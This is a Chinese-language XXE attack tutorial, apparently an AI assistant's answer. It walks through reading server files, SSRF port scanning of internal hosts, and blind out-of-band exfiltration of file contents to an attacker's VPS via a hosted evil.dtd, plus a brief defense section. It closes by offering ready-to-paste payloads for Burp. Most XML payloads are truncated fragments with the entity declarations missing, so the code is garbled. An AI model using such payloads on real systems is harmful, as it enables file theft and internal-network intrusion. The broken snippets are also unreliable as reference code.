# XXE 外部实体注入|网络攻防演练实战版 核心定位:**XML解析器支持外部实体引用,攻击者提交恶意XML,让服务器以自身身份读取本地文件、发起内网请求(SSRF)**,红蓝对抗高频漏洞。 > 区分: > - 内部实体:文档内定义 > - 外部实体:`SYSTEM` 关键字,支持 `file://` / `http://` / `ftp://` 等协议 ## 一、漏洞触发前提(实战排查第一步) 1. 后端接口接收**用户可控XML**(Content-Type: application/xml) 2. XML解析库**启用了外部实体/DTD解析** 3. 服务器进程有权限读取本地文件、访问内网 > 现代库默认关闭外部实体:Java(SAX/DOM)、PHP libxml新版、Python lxml新版默认安全;老版本/错误配置才会触发。 ## 二、场景1:有回显XXE,读取本地文件 ### Payload(Linux) ```xml ]> &content; ``` ### 执行流程 1. 把上面XML POST提交到目标接口 2. 解析器读到 `DOCTYPE`,发现外部实体 `&content;` 3. 通过`file://`协议读取服务器本地文件 4. 文件内容替换实体,在HTTP响应中直接返回内容 Windows读取示例: ```xml ``` ### 实战坑点 - 如果文件内容包含XML特殊字符 `< > & " '`,XML解析报错,无法直接回显。 ✅ 解决:**CDATA封装绕过**(构造实体把文件内容塞进CDATA) ```xml "> ]> &wrap; ``` ## 三、场景2:XXE打内网(本质:利用XML解析器发起SSRF) `SYSTEM`支持http协议,**由目标服务器主动发起请求访问内网**,用于内网端口探测、访问内网web服务。 ```xml ]> &net; ``` ### 实战用法 1. 遍历内网网段 `http://192.168.1.1:80`、`http://192.168.1.2:3306` 做端口扫描 2. 访问内网未授权Web管理接口,读取内网服务页面内容 > 限制:很多环境有网络策略,服务器不能出网,但内网互通。 ## 四、场景3:盲XXE(无回显,OOB带外注入,红队最常用) 现象:页面没有任何实体内容回显,直接返回固定提示,无法直接拿到文件内容。 思路:**把读取的文件内容,外带传输到攻击者自己的VPS(带外OOB)**。 > 需要两台资源:目标服务器 + 攻击者VPS(托管恶意dtd文件) 1. 提交给目标的XML: ```xml %remote; ]> ``` 2. VPS上 `evil.dtd` 内容: ```xml "> %out; ``` 3. 解析流程: 目标加载VPS上的evil.dtd → 读取本地文件 → 将文件内容作为http请求参数,**主动访问攻击者VPS** 4. 在VPS搭建简易web服务,接收GET请求,日志拿到文件内容。 > 实战坑:部分环境禁止服务器主动对外出网,OOB失效,此时只能用报错型盲XXE(报错回显)。 ### 报错盲XXE(OOB出网被禁时使用) 利用XML解析报错,把文件内容放到报错信息返回。 ```xml "> %err; ]> &send; ``` 解析找不到fakefile,抛出异常,异常信息附带读取到的文件内容。 ## 五、协议支持(红队重点) - `file://`:本地文件读取,最常用 - `http:// https://`:发起网络请求(内网探测SSRF) - `php://filter`:PHP环境下,读取文件并base64编码(经典) ```xml ``` ## 六、蓝队防御(防守演练) 1. **关闭DTD文档类型定义,禁用外部实体**(最优方案) - PHP:`libxml_disable_entity_loader(true);` - Java:禁用DOCTYPE,关闭外部DTD、外部实体解析 - Python lxml:默认关闭外部实体,不要手动开启 2. 输入检测:WAF拦截`123`,确认接口解析XML 3. 测试payload: ```xml ]> &test; ``` 页面返回hello,说明DTD可用,继续测试外部实体。 4. 先试file读文件,无回显再上OOB盲XXE。 ## 八、易混区分(攻防演练经常踩坑) - XXE:XML解析阶段触发,可读本地文件 + 发起内网请求(属于SSRF其中一类实现) - SSRF:大类,服务器发起请求;XXE只是SSRF的一种触发方式,其他如图片地址、http请求参数也能触发SSRF - SSTI:模板引擎解析用户输入,直接代码执行,和XML无关 需要我给你整理**XXE实战payload清单(带回显、报错盲注、OOB、phpfilter)**,直接复制丢burp用吗?